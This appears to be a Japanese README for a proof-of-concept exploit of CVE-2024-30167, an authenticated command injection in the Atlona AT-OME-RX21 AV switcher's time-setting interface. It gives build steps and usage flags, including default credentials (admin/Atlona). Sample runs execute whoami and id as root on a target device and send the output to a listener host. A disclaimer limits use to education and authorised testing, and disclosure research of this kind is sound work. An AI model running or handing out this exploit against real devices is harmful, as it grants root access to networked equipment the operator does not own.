Atlona OME 認証済みコマンドインジェクションのPoC

免責事項: この概念実証は教育および研究目的のみで提供されています。所有していないシステム、またはテストする明示的な許可がないシステムでこのコードを使用しないでください。誤用についての責任は負いません。

認証済みのコマンドインジェクションの脆弱性が Atlona AT-OME-RX21 AVスイッチャーの時刻設定インターフェースに存在します。有効な認証情報を持つユーザーは、オペレーティングシステムコマンドを注入でき、それがrootとして実行され、システム全体が侵害されます。

製品情報

Atlona AT-OME-RX21 は、プロフェッショナルなビデオ会議およびコラボレーション環境向けに設計されたAV（オーディオ/ビジュアル）レシーバー兼スケーラーです。主に会議室、教室、ハドルスペースで使用されます。ノートパソコンや会議システムなどのデバイスをディスプレイに接続するのに役立ちます。

このPoCはファームウェアバージョン1.5.1以下のすべてのバージョンで動作します

ベンダー情報: https://atlona.com/product/at-ome-rx21/

使用方法

$ .\cve-2024-30167.exe -h


▄█████ ██  ██ ██████    ████▄  ▄██▄ ████▄ ██  ██    ████▄  ▄██▄ ▄██ ▄██▀▀▀ ██████ 
██     ██▄▄██ ██▄▄   ▄▄▄ ▄██▀ ██  ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██  ██ ██ ██▄▄▄    ▄██▀ 
▀█████  ▀██▀  ██▄▄▄▄    ███▄▄  ▀██▀ ███▄▄     ██    ▄▄▄█▀  ▀██▀  ██ ▀█▄▄█▀  ██▀   

                        PoC by: github.com/RIZZZIOM

Usage of cve-2024-30167.exe:
  -P string
        listening port for command output (default "4444")
  -c string
        Command to execute on the target
  -l string
        listening host for command output
  -p string
        Password for authentication (default "Atlona")
  -t string
        Target URL (e.g: http://example.com)
  -u string
        Username for authentication (default "admin")

システム用のバイナリを作成する

go build -o <OUTPUT_FILENAME>

対象のAtlonaデバイスに対してエクスプロイトを実行する

$ .\cve-2024-30167.exe -P 8000 -c 'whoami' -l 192.168.1.100 -t http://192.168.1.103:1337


▄█████ ██  ██ ██████    ████▄  ▄██▄ ████▄ ██  ██    ████▄  ▄██▄ ▄██ ▄██▀▀▀ ██████ 
██     ██▄▄██ ██▄▄   ▄▄▄ ▄██▀ ██  ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██  ██ ██ ██▄▄▄    ▄██▀ 
▀█████  ▀██▀  ██▄▄▄▄    ███▄▄  ▀██▀ ███▄▄     ██    ▄▄▄█▀  ▀██▀  ██ ▀█▄▄█▀  ██▀   

                        PoC by: github.com/RIZZZIOM

Listening on 192.168.1.100:8000 for response...
Command Injection Successful

=====Received Response=====
root

$ .\cve-2024-30167.exe -P 8000 -c 'id' -l 192.168.1.100 -t http://192.168.1.103:1337    


▄█████ ██  ██ ██████    ████▄  ▄██▄ ████▄ ██  ██    ████▄  ▄██▄ ▄██ ▄██▀▀▀ ██████ 
██     ██▄▄██ ██▄▄   ▄▄▄ ▄██▀ ██  ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██  ██ ██ ██▄▄▄    ▄██▀ 
▀█████  ▀██▀  ██▄▄▄▄    ███▄▄  ▀██▀ ███▄▄     ██    ▄▄▄█▀  ▀██▀  ██ ▀█▄▄█▀  ██▀   

                        PoC by: github.com/RIZZZIOM

Listening on 192.168.1.100:8000 for response...
Command Injection Successful

=====Received Response=====
uid=0(root) gid=0(root) groups=0(root)

上記のコマンドはデフォルトの認証情報を使用してデバイスにログインします。

構文:

.\cve=2024-30167.exe -P <listening_port> -c <command> -l <listener_host> -t <target_uri> -u <username> -p <password>

CVE-2024-30167

人気